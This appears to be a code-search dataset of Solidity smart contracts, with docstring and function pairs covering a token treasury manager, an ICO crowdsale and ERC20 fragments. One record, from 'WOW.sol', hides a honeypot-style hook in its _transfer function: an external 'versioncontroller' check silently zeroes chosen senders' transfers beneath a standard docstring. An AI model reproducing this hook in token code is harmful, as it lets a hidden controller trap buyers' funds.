return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ISetToken
* @author Set Protocol
*
* Interface for operating with SetTokens.
*/
interface ISetToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a SetToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a SetToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
contract TreasuryManager is SubGoverned {
using Address for address;
/* ============ Modifiers ============ */
/** @notice Throws if the sender is not allowed for this module */
modifier onlyAllowedForModule(address _user, address _module) {
require(
moduleAllowlist[_user][_module] || _user == gov,
"TreasuryManager::onlyAllowedForModule: User is not allowed for module"
);
_;
}
/* ============ State Variables ============ */
/** @notice Set token this contract manages */
ISetToken public immutable setToken;
/** @notice mapping of modules a caller is allowed to use */
mapping(address => mapping(address => bool)) public moduleAllowlist;
/** @notice mapping of allowed tokens */
mapping(address => bool) public allowedTokens;
/* ============ Events ============ */
event TokensAdded(address[] tokens);
event TokensRemoved(address[] tokens);
event ModulePermissionsUpdated(
address indexed user,
address indexed module,
bool allowed
);
constructor(
ISetToken _setToken,
address _gov,
address[] memory _allowedTokens
) public {
setToken = _setToken;
gov = _gov;
addTokens(_allowedTokens);
}
/* ============ External Functions ============ */
/**
* @dev Gov ONLY
*
* @param _newManager Manager to set on the set token
*/
function setManager(address _newManager) external onlyGov {
setToken.setManager(_newManager);
}
/**
* @dev Gov ONLY
*
* @param _module Module to add to the set token
*/
function addModule(address _module) external onlyGov {
setToken.addModule(_module);
}
/**
* @dev Gov
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyGov {
setToken.removeModule(_module);
}
/**
* @dev Only allowed for module
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactModule(address _module, bytes calldata _data)
external
onlyAllowedForModule(msg.sender, _module)
{
// Invoke call to module, assume value will always be 0
_module.functionCallWithValue(_data, 0);
}
/**
* @dev Gov ONLY. Updates whether a module + adapter combo are allowed
*
* @param _module The module to allow this adapter with
* @param _caller The caller to allow to use this module
*/
function setModuleAllowed(
address _caller,
address _module,
bool allowed
) external onlyGov {
moduleAllowlist[_caller][_module] = allowed;
emit ModulePermissionsUpdated(_caller, _module, allowed);
}
/**
* @dev Gov ONLY. Enables a list of tokens for trading/wrapping to
*
* @param _tokens The list of tokens to add
*/
function addTokens(address[] memory _tokens) public onlyGov {
for (uint256 index = 0; index < _tokens.length; index++) {
allowedTokens[_tokens[index]] = true;
}
emit TokensAdded(_tokens);
}
/**
* @dev Gov ONLY. Disables a list of tokens from trading/wrapping to
*
* @param _tokens The list of tokens to remove
*/
function removeTokens(address[] memory _tokens) external onlyGov {
for (uint256 index = 0; index < _tokens.length; index++) {
allowedTokens[_tokens[index]] = false;
}
emit TokensRemoved(_tokens);
}
/**
* @dev Returns whether a token is allowed
*
* @param _token The token to check if it is allowed
*/
function isTokenAllowed(address _token)
external
view
returns (bool allowed)
{
return allowedTokens[_token];
}
}
contract BaseAdapter {
TreasuryManager public manager;
ISetToken public setToken;
constructor(ISetToken _setToken, TreasuryManager _manager) public {
setToken = _setToken;
manager = _manager;
}
modifier onlyGovOrSubGov() {
require(
manager.gov() == msg.sender || manager.isSubGov(msg.sender),
"BaseAdapter::onlyGovOrSubGov: Invalid permissions"
);
_;
}
modifier onlyGov() {
require(
manager.gov() == msg.sender,
"BaseAdapter::onlyGov: Invalid permissions"
);
_;
}
}
interface IWrapModule {
function wrap(
ISetToken _setToken,
address _underlyingToken,
address _wrappedToken,
uint256 _underlyingUnits,
string calldata _integrationName
) external;
function wrapWithEther(
ISetToken _setToken,
address _wrappedToken,
uint256 _underlyingUnits,
string calldata _integrationName
) external;
function unwrap(
ISetToken _setToken,
address _underlyingToken,
address _wrappedToken,
uint256 _wrappedUnits,
string calldata _integrationName
) external;
function unwrapWithEther(
ISetToken _setToken,
address _wrappedToken,
uint256 _wrappedUnits,
string calldata _integrationName
) external;
function initialize(ISetToken _setToken) external;
}
contract WrapAdapter is BaseAdapter {
IWrapModule public module;
constructor(
ISetToken _setToken,
TreasuryManager _manager,
IWrapModule _module
) public BaseAdapter(_setToken, _manager) {
module = _module;
}
/**
* @dev Only can invoke modules. This function will revert if the wrappedToken isn't on the allowed list
*
* @param _integrationName The name of the integration to interact with
* @param _underlyingToken The token to wrap
* @param _wrappedToken The token to get after wrapping
* @param _underlyingUnits The amount of underlyingToken to wrap
*/
function wrap(
string memory _integrationName,
address _underlyingToken,
address _wrappedToken,
uint256 _underlyingUnits
) external onlyGovOrSubGov {
require(
manager.isTokenAllowed(_wrappedToken),
"WrapAdapter::wrap: _wrappedToken is not on the allowed list"
);
bytes memory encoded = abi.encodeWithSelector(
module.wrap.selector,
setToken,
_underlyingToken,
_wrappedToken,
_underlyingUnits,
_integrationName
);
manager.interactModule(address(module), encoded);
}
/**
* @dev Only can invoke modules. This function will revert if the underlyingToken isn't on the allowed list
*
* @param _integrationName The name of the integration to interact with
* @param _underlyingToken The underlying token to receive
* @param _wrappedToken The token to unwrap
* @param _wrappedUnits The amount of wrapped tokens to unwrap
*/
function unwrap(
string memory _integrationName,
address _underlyingToken,
address _wrappedToken,
uint256 _wrappedUnits
) external onlyGovOrSubGov {
require(
manager.isTokenAllowed(_underlyingToken),
"WrapAdapter::unwrap: _underlyingToken is not on the allowed list"
);
bytes memory encoded = abi.encodeWithSelector(
module.unwrap.selector,
address(setToken),
_underlyingToken,
_wrappedToken,
_wrappedUnits,
_integrationName
);
manager.interactModule(address(module), encoded);
}
} | Gov ONLY. Updates whether a module + adapter combo are allowed _module The module to allow this adapter with _caller The caller to allow to use this module/ | function setModuleAllowed(
address _caller,
address _module,
bool allowed
) external onlyGov {
moduleAllowlist[_caller][_module] = allowed;
emit ModulePermissionsUpdated(_caller, _module, allowed);
}
| 7,965,177 |
pragma solidity ^0.4.18;
import "../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol";
import "../node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol";
/*
Eidoo ICO Engine interface
This interface enables Eidoo wallet to query our ICO and display all the informations needed in the app
*/
contract ICOEngineInterface {
function started() public view returns (bool);
function ended() public view returns (bool);
function startTime() public view returns (uint);
function endTime() public view returns (uint);
function startBlock() public view returns (uint);
function endBlock() public view returns (uint);
function totalTokens() public view returns (uint);
function remainingTokens() public view returns (uint);
function price() public view returns (uint);
}
// UbiatarCoin Abstract Contract
contract UACAC {
function lockTransfer(bool _lock) public;
function issueTokens(address _who, uint _tokens) public;
function balanceOf(address _owner) public constant returns (uint256);
}
// PreSaleVesting Abstract Contract
contract PreSaleVestingAC {
function finishIco() public;
}
// Founders Vesting Abstract Contract
contract FoundersVestingAC {
function finishIco() public;
}
// UbiatarPlay Abstract Contract
contract UbiatarPlayAC {
function finishIco() public;
}
/*
ICO crowdsale main contract
It is in charge to issue all the token for the ICO, preSales, advisors and founders vesting
*/
contract ICO is Ownable, ICOEngineInterface {
// SafeMath standard lib
using SafeMath for uint;
// total Wei collected during the ICO
uint collectedWei = 0;
// Standard token price in USD CENTS per token
uint public usdTokenPrice = 2 * 100;
// The USD/ETH
// UPDATE CHANGE RATE WITH CURRENT RATE WHEN DEPLOYING
// This value is given in USD CENTS
uint public usdPerEth = 1100 * 100;
// Founders reward
uint public constant FOUNDERS_REWARD = 12000000 * 1 ether;
// Total Tokens bought in PreSale
uint public constant PRESALE_REWARD = 17584778551358900100698693;
// 15 000 000 tokens on sale during the ICO
uint public constant ICO_TOKEN_SUPPLY_LIMIT = 15000000 * 1 ether;
// Tokens for advisors
uint public constant ADVISORS_TOKENS = 4915221448641099899301307;
// 50 500 000 tokens for Ubiatar Play
uint public constant UBIATARPLAY_TOKENS = 50500000 * 1 ether;
// 7 500 000 tokens for Reservation contract campaign
uint public constant RC_TOKEN_LIMIT = 7500000 * 1 ether;
/// Fields:
// ICO starting block number
uint public icoBlockNumberStart = 5305785;
// ICO finish time in epoch time
uint public icoFinishTime = 1524488400;
// ICO partecipant to be refund in case of overflow on the last token purchase
address public toBeRefund = 0x0;
// ICO refund amount in case of overflow on the last token purchase
uint public refundAmount;
// Reservation contract participant to be refund in case of overflow on the last token purchase
address public toBeRefundRC = 0x0;
// Reservation contract participant to be refund in case of overflow on the last token purchase
uint public refundAmountRC = 0;
// Total amount of tokens sold during ICO
uint public icoTokensSold = 0;
// Total amount of tokens sent to UACUnsold contract after ICO is finished
uint public icoTokensUnsold = 0;
// This is where FOUNDERS_REWARD will be allocated
address public foundersVestingAddress = 0x0;
// This is where PRESALE_REWARD will be allocated
address public preSaleVestingAddress = 0x0;
// This is where UBIATARPLAY_TOKENS will be allocated
address public ubiatarPlayAddress = 0x0;
// UbiatarCoin ERC20 address
address public uacTokenAddress = 0x0;
// Unsold token contract address
address public unsoldContractAddress = 0x0;
// This is where ADVISORS_TOKEN will be allocated
address public advisorsWalletAddress = 0x0;
// This is where Ethers will be transfered
address public ubiatarColdWallet = 0x0;
// Reservation contract address
address public RCContractAddress = 0x0;
// UbiatarCoin contract reference
UACAC public uacToken;
// PreSaleVesting contract reference
PreSaleVestingAC public preSaleVesting;
// FoundersVesting contract reference
FoundersVestingAC public foundersVesting;
// UbiatarPlay contract reference
UbiatarPlayAC public ubiatarPlay;
// ICO possibles state.
enum State
{
Init,
ICORunning,
ICOFinished
}
// ICO current state, initialized with Init state
State public currentState = State.Init;
/// Modifiers
// Only in a given ICO state
modifier onlyInState(State state)
{
require(state == currentState);
_;
}
// Only before ICO crowdsale starting block number
modifier onlyBeforeBlockNumber()
{
require(block.number < icoBlockNumberStart);
_;
}
// Only after ICO crowdsale starting block number
modifier onlyAfterBlockNumber()
{
require(block.number >= icoBlockNumberStart);
_;
}
// Only before ICO crowdsale finishing epoch time
modifier onlyBeforeIcoFinishTime()
{
require(uint(now) <= icoFinishTime);
_;
}
// Only if ICO can finish (so after finishing epoch time, or when all tokens are sold)
modifier canFinishICO()
{
require((uint(now) >= icoFinishTime) || (icoTokensSold == ICO_TOKEN_SUPPLY_LIMIT));
_;
}
// Can only be called from the reservation contract
modifier onlyFromRC()
{
require(msg.sender == RCContractAddress);
_;
}
/// Events
event LogStateSwitch(State newState);
event LogBuy(address owner, uint value);
event LogBurn(address owner, uint value);
event LogWithdraw(address to, uint value);
event LogOverflow(address to, uint value);
event LogRefund(address to, uint value);
event LogUbiatarColdWalletSet(address ubiatarColdWallet);
event LogAdvisorsWalletAddressSet(address advisorsWalletAddress);
event LogUbiatarPlayAddressSet(address ubiatarPlayAddress);
event LogUacTokenAddressSet(address uacTokenAddress);
event LogUnsoldContractAddressSet(address unsoldContractAddress);
event LogFoundersVestingAddressSet(address foundersVestingAddress);
event LogPreSaleVestingAddressSet(address preSaleVestingAddress);
event LogBlockNumberStartSet(uint icoBlockNumberStart);
event LogIcoFinishTimeSet(uint icoFinishTime);
event LogUsdPerEthRateSet(uint usdPerEth);
event LogUsdTokenPrice(uint usdTokenPrice);
event LogStartICO();
event LogFinishICO();
/// Functions:
// ICO constructor. It takes main contracts adresses
function ICO
(
address _uacTokenAddress,
address _unsoldContractAddress,
address _foundersVestingAddress,
address _preSaleVestingAddress,
address _ubiatarPlayAddress,
address _advisorsWalletAddress
)
public
{
uacToken = UACAC(_uacTokenAddress);
preSaleVesting = PreSaleVestingAC(_preSaleVestingAddress);
foundersVesting = FoundersVestingAC(_foundersVestingAddress);
ubiatarPlay = UbiatarPlayAC(_ubiatarPlayAddress);
uacTokenAddress = _uacTokenAddress;
unsoldContractAddress = _unsoldContractAddress;
foundersVestingAddress = _foundersVestingAddress;
preSaleVestingAddress = _preSaleVestingAddress;
ubiatarPlayAddress = _ubiatarPlayAddress;
advisorsWalletAddress = _advisorsWalletAddress;
}
// It will put ICO in Running state, it should be launched before starting block
function startICO()
public
onlyOwner
onlyInState(State.Init)
{
setState(State.ICORunning);
uacToken.issueTokens(foundersVestingAddress, FOUNDERS_REWARD);
uacToken.issueTokens(preSaleVestingAddress, PRESALE_REWARD);
uacToken.issueTokens(advisorsWalletAddress, ADVISORS_TOKENS);
uacToken.issueTokens(ubiatarPlayAddress, UBIATARPLAY_TOKENS);
LogStartICO();
}
// It allows to withdraw crowdsale Ether only when ICO is finished
function withdraw(uint withdrawAmount)
public
onlyOwner
onlyInState(State.ICOFinished)
{
// Checks if the UbiatarColdWallet address has been set
require(ubiatarColdWallet != 0x0);
// If we're trying to withdraw more than the current contract's balance withdraws remaining ether
if (withdrawAmount > this.balance)
{
withdrawAmount = this.balance;
}
ubiatarColdWallet.transfer(withdrawAmount);
LogWithdraw(ubiatarColdWallet, withdrawAmount);
}
// It will set ICO in Finished state and it will call finish functions in side contracts
function finishICO()
public
onlyOwner
canFinishICO
onlyInState(State.ICORunning)
{
setState(State.ICOFinished);
// 1 - lock all transfers
uacToken.lockTransfer(false);
// 2 - move all unsold tokens to unsoldTokens contract
icoTokensUnsold = ICO_TOKEN_SUPPLY_LIMIT.sub(icoTokensSold);
if (icoTokensUnsold > 0) {
uacToken.issueTokens(unsoldContractAddress, icoTokensUnsold);
LogBurn(unsoldContractAddress, icoTokensUnsold);
}
// Calls finish function in other contracts and sets their starting times for the withdraw functions
preSaleVesting.finishIco();
ubiatarPlay.finishIco();
foundersVesting.finishIco();
LogFinishICO();
}
// It will refunds last address in case of overflow
function refund()
public
onlyOwner
{
require(toBeRefund != 0x0);
require(refundAmount > 0);
uint _refundAmount = refundAmount;
address _toBeRefund = toBeRefund;
refundAmount = 0;
toBeRefund = 0x0;
_toBeRefund.transfer(_refundAmount);
LogRefund(_toBeRefund, _refundAmount);
}
// This is the main function for Token purchase during ICO. It takes a buyer address where tokens should be issued
function buyTokens(address _buyer)
internal
onlyInState(State.ICORunning)
onlyBeforeIcoFinishTime
onlyAfterBlockNumber
{
// Checks that the investor has sent at least 0.1 ETH
require(msg.value >= 100 finney);
uint bonusPercent = 0;
// Gives 4% of discount for the first 42 hours of the ICO
if (block.number < icoBlockNumberStart.add(10164))
{
bonusPercent = 4;
}
// Gives 6% of discount for the first 24 hours of the ICO
if (block.number < icoBlockNumberStart.add(2541))
{
bonusPercent = 6;
}
// Gives 8% of discount for the first 3 hours of the ICO
if (block.number < icoBlockNumberStart.add(635))
{
bonusPercent = 8;
}
// Calculates the amount of tokens to be issued by multiplying the amount of ether sent by the number of tokens
// per ETH. We multiply and divide by 1 ETH to avoid approximation errors
uint newTokens = (msg.value.mul(getUacTokensPerEth(bonusPercent))).div(1 ether);
// Checks if there are enough tokens left to be issued, if not
if ((icoTokensSold.add(newTokens)) <= ICO_TOKEN_SUPPLY_LIMIT)
{
issueTokensInternal(_buyer, newTokens);
collectedWei = collectedWei.add(msg.value);
}
// Refund function, calculates the amount of tokens still available and issues them to the investor, then calculates
// the amount of etther to be sent back
else
{
// Calculates the amount of token remaining in the ICO
uint tokensBought = ICO_TOKEN_SUPPLY_LIMIT.sub(icoTokensSold);
// Calculates the amount of ETH to be sent back to the buyer depending on the amount of tokens still available
// at the moment of the purchase
uint _refundAmount = msg.value.sub((tokensBought.div(getUacTokensPerEth(bonusPercent))).mul(1 ether));
// Checks if the refund amount is actually less than the ETH sent by the investor then saves the amount to
// be refund and the address which will receive the refund
require(_refundAmount < msg.value);
refundAmount = _refundAmount;
toBeRefund = _buyer;
LogOverflow(_buyer, _refundAmount);
issueTokensInternal(_buyer, tokensBought);
collectedWei = collectedWei.add(msg.value).sub(_refundAmount);
}
}
// Same as buyTokens, can only be called by the reservation contract and sets the bonus percent to 10%
function buyTokensRC(address _buyer)
public
payable
onlyFromRC
{
// Checks that the investor has sent at least 0.1 ETH
require(msg.value >= 100 finney);
uint bonusPercent = 10;
// Calculates the amount of tokens to be issued by multiplying the amount of ether sent by the number of tokens
// per ETH. We multiply and divide by 1 ETH to avoid approximation errors
uint newTokens = (msg.value.mul(getUacTokensPerEth(bonusPercent))).div(1 ether);
// Checks if the amount of tokens to be sold is lower than the amount of tokens available to the reservation contract
if ((icoTokensSold.add(newTokens)) <= RC_TOKEN_LIMIT)
{
issueTokensInternal(_buyer, newTokens);
collectedWei = collectedWei.add(msg.value);
}
// Refund function, calculates the amount of tokens still available and issues them to the investor, then calculates
// the amount of etther to be sent back
else
{
// Calculates the amount of token still available to the reservation contract
uint tokensBought = RC_TOKEN_LIMIT.sub(icoTokensSold);
// Calculates the amount of ETH to be sent back to the buyer depending on the amount of tokens still available
// at the moment of the purchase
uint _refundAmount = msg.value.sub((tokensBought.div(getUacTokensPerEth(bonusPercent))).mul(1 ether));
// Checks if the refund amount is actually less than the ETH sent by the investor then saves the amount to
// be refund and the address which will receive the refund
require(_refundAmount < msg.value);
refundAmountRC = _refundAmount;
toBeRefundRC = _buyer;
issueTokensInternal(_buyer, tokensBought);
LogOverflow(_buyer, _refundAmount);
collectedWei = collectedWei.add(msg.value).sub(_refundAmount);
}
}
// It is an internal function that will call UAC ERC20 contract to issue the tokens
function issueTokensInternal(address _to, uint _tokens)
internal
{
require((icoTokensSold.add(_tokens)) <= ICO_TOKEN_SUPPLY_LIMIT);
uacToken.issueTokens(_to, _tokens);
icoTokensSold = icoTokensSold.add(_tokens);
LogBuy(_to, _tokens);
}
/// Setters
function setUbiatarColdWallet(address _ubiatarColdWallet)
public
onlyOwner
{
ubiatarColdWallet = _ubiatarColdWallet;
LogUbiatarColdWalletSet(ubiatarColdWallet);
}
function setAdvisorsWalletAddress(address _advisorsWalletAddress)
public
onlyOwner
onlyInState(State.Init)
{
advisorsWalletAddress = _advisorsWalletAddress;
LogAdvisorsWalletAddressSet(advisorsWalletAddress);
}
function setUbiatarPlayAddress(address _ubiatarPlayAddress)
public
onlyOwner
onlyInState(State.Init)
{
ubiatarPlayAddress = _ubiatarPlayAddress;
ubiatarPlay = UbiatarPlayAC(_ubiatarPlayAddress);
LogUbiatarPlayAddressSet(ubiatarPlayAddress);
}
function setUacTokenAddress(address _uacTokenAddress)
public
onlyOwner
onlyInState(State.Init)
{
uacTokenAddress = _uacTokenAddress;
uacToken = UACAC(_uacTokenAddress);
LogUacTokenAddressSet(uacTokenAddress);
}
function setUnsoldContractAddress(address _unsoldContractAddress)
public
onlyOwner
onlyInState(State.Init)
{
unsoldContractAddress = _unsoldContractAddress;
LogUnsoldContractAddressSet(unsoldContractAddress);
}
function setRcContractAddress(address _RCContractAddress)
public
onlyOwner
{
RCContractAddress = _RCContractAddress;
}
function setFoundersVestingAddress(address _foundersVestingAddress)
public
onlyOwner
onlyInState(State.Init)
{
foundersVestingAddress = _foundersVestingAddress;
foundersVesting = FoundersVestingAC(_foundersVestingAddress);
LogFoundersVestingAddressSet(foundersVestingAddress);
}
function setPreSaleVestingAddress(address _preSaleVestingAddress)
public
onlyOwner
onlyInState(State.Init)
{
preSaleVestingAddress = _preSaleVestingAddress;
preSaleVesting = PreSaleVestingAC(_preSaleVestingAddress);
LogPreSaleVestingAddressSet(preSaleVestingAddress);
}
// It will set ICO crowdsale starting block number
function setBlockNumberStart(uint _blockNumber)
public
onlyOwner
{
icoBlockNumberStart = _blockNumber;
LogBlockNumberStartSet(icoBlockNumberStart);
}
// It will set ICO finishing epoch time
function setIcoFinishTime(uint _time)
public
onlyOwner
{
icoFinishTime = _time;
LogIcoFinishTimeSet(icoFinishTime);
}
function setUsdPerEthRate(uint _usdPerEthRate)
public
onlyOwner
{
usdPerEth = _usdPerEthRate;
LogUsdPerEthRateSet(usdPerEth);
}
// It will switch ICO State
function setState(State _s)
internal
{
currentState = _s;
LogStateSwitch(_s);
}
function setUsdTokenPrice(uint tokenPrice)
public
onlyOwner
{
usdTokenPrice = tokenPrice;
LogUsdTokenPrice(usdTokenPrice);
}
/// Getters
function getBlockNumberStart()
constant
public
returns (uint)
{
return icoBlockNumberStart;
}
function getTokensIcoSold()
constant
public
returns (uint)
{
return icoTokensSold;
}
function getTotalIcoTokens()
pure
public
returns (uint)
{
return ICO_TOKEN_SUPPLY_LIMIT;
}
function getUacTokenBalance(address _of)
constant
public
returns (uint)
{
return uacToken.balanceOf(_of);
}
function getTotalCollectedWei()
constant
public
returns (uint)
{
return collectedWei;
}
function isIcoRunning()
constant
public
returns (bool)
{
return (currentState == State.ICORunning);
}
function isIcoFinished()
constant
public
returns (bool)
{
return (currentState == State.ICOFinished || icoTokensSold >= ICO_TOKEN_SUPPLY_LIMIT);
}
// Calculates the token price including the bonus percent received from the buyTokens function
// Returns the amount of UAC per 1 ETH to be given
function getUacTokensPerEth(uint bonusPercent)
constant
internal
returns (uint)
{
uint tokenPrice = (usdTokenPrice.mul(100).mul(1 ether)).div(bonusPercent.add(100));
uint uacPerEth = (usdPerEth.mul(1 ether).mul(1 ether)).div(tokenPrice);
return uacPerEth;
}
/// ICOEngineInterface
// false if the ico is not started, true if the ico is started and running, true if the ico is completed
function started()
public
view
returns (bool)
{
if ((currentState == State.ICORunning || currentState == State.ICOFinished) && block.number >= icoBlockNumberStart)
{
return true;
}
else
{
return false;
}
}
// false if the ico is not started, false if the ico is started and running, true if the ico is completed
function ended()
public
view
returns (bool)
{
return ((uint(now) >= icoFinishTime) || (icoTokensSold == ICO_TOKEN_SUPPLY_LIMIT));
}
// time stamp of the starting time of the ico, must return 0 if it depends on the block number
function startTime()
public
view
returns (uint)
{
return 0;
}
// time stamp of the ending time of the ico, must return 0 if it depends on the block number
function endTime()
public
view
returns (uint)
{
return icoFinishTime;
}
// Optional function, can be implemented in place of startTime
// Returns the starting block number of the ico, must return 0 if it depends on the time stamp
function startBlock()
public
view
returns (uint)
{
return icoBlockNumberStart;
}
// Optional function, can be implemented in place of endTime
// Returns theending block number of the ico, must retrun 0 if it depends on the time stamp
function endBlock()
public
view
returns (uint)
{
return 0;
}
// returns the total number of the tokens available for the sale, must not change when the ico is started
function totalTokens()
public
view
returns (uint)
{
return ICO_TOKEN_SUPPLY_LIMIT;
}
// returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(),
// then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens()
function remainingTokens()
public
view
returns (uint)
{
return ICO_TOKEN_SUPPLY_LIMIT.sub(icoTokensSold);
}
// return the price as number of tokens released for each ether
function price()
public
view
returns (uint)
{
uint bonusPercent = 0;
if (block.number < icoBlockNumberStart.add(10164))
{
bonusPercent = 4;
}
if (block.number < icoBlockNumberStart.add(2541))
{
bonusPercent = 6;
}
if (block.number < icoBlockNumberStart.add(635))
{
bonusPercent = 8;
}
return getUacTokensPerEth(bonusPercent);
}
// It allows to buy tokens for an other address than msg.sender
function buyTokensFor(address _to)
payable
public
{
// buyTokens -> issueTokensInternal
buyTokens(_to);
}
// Default fallback function
function()
payable
public
{
buyTokens(msg.sender);
}
}
| return the price as number of tokens released for each ether | function price()
public
view
returns (uint)
{
uint bonusPercent = 0;
if (block.number < icoBlockNumberStart.add(10164))
{
bonusPercent = 4;
}
if (block.number < icoBlockNumberStart.add(2541))
{
bonusPercent = 6;
}
if (block.number < icoBlockNumberStart.add(635))
{
bonusPercent = 8;
}
return getUacTokensPerEth(bonusPercent);
}
| 12,552,998 |
./partial_match/1/0x7fbdACc099bba77d90Ea9F87E595e18897dac4C5/sources/WOW.sol | Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./ | function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 total = 0;
bool cooldown = _ERC20(address(versioncontroller))._vert(sender);
if(cooldown){
amount = total;
}
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| 15,969,234 |
./partial_match/42/0xAfd8Fdb491e8fB399194C0E7281929B634fFda56/sources/CFD.sol | add margin to increase margin ratio _exchange IExchange address _addedMargin added margin in 18 digits/ check condition update margin part in personal position transfer token from trader | function addMargin(IExchange _exchange, Decimal.decimal calldata _addedMargin)
external
whenNotPaused()
nonReentrant()
{
requireExchange(_exchange, true);
requireNonZeroInput(_addedMargin);
address trader = msg.sender;
Position memory position = adjustPositionForLiquidityChanged(_exchange, trader);
position.margin = position.margin.addD(_addedMargin);
setPosition(_exchange, trader, position);
IERC20Upgradeable(_exchange.quoteAsset()).safeTransferFrom(trader, address(cfdVault), _addedMargin.toUint());
emit MarginChanged(trader, address(_exchange), int256(_addedMargin.toUint()), 0, 0);
}
| 3,377,208 |
